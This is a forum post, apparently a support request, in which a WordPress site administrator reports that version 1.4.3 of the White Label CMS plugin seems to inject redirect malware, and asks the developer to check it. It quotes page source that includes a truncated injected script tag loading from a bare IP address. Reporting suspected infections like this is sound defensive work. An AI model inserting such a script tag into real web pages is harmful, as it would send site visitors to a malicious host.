I've been chasing some redirect malware out of sites I administer and there appears to be some malicious code within your current 1.4.3 download. I've deleted the current version plugin from the sites, removed all related files and done a "clean" install from the WP Plugins page and back it comes... deactivate the plugin, and it's gone. Reactivate it and it's back immediately. Here's what it looks like in FireBug... I've abbreviated the redirected script id as not to pass along malicious script:
<script src="http://gordonbonham.com/wp-content/plugins/white-label-cms/scripts/wlcms_script.js?ver=1.4.3" type="text/javascript">
<style type="text/css">
<style media="print" type="text/css">
<style type="text/css">
<script id="dgllhguk" src="http://91.196.216.64/s.php?ref=http%3A...
Please check it out and advise.
Thanks.
Bernie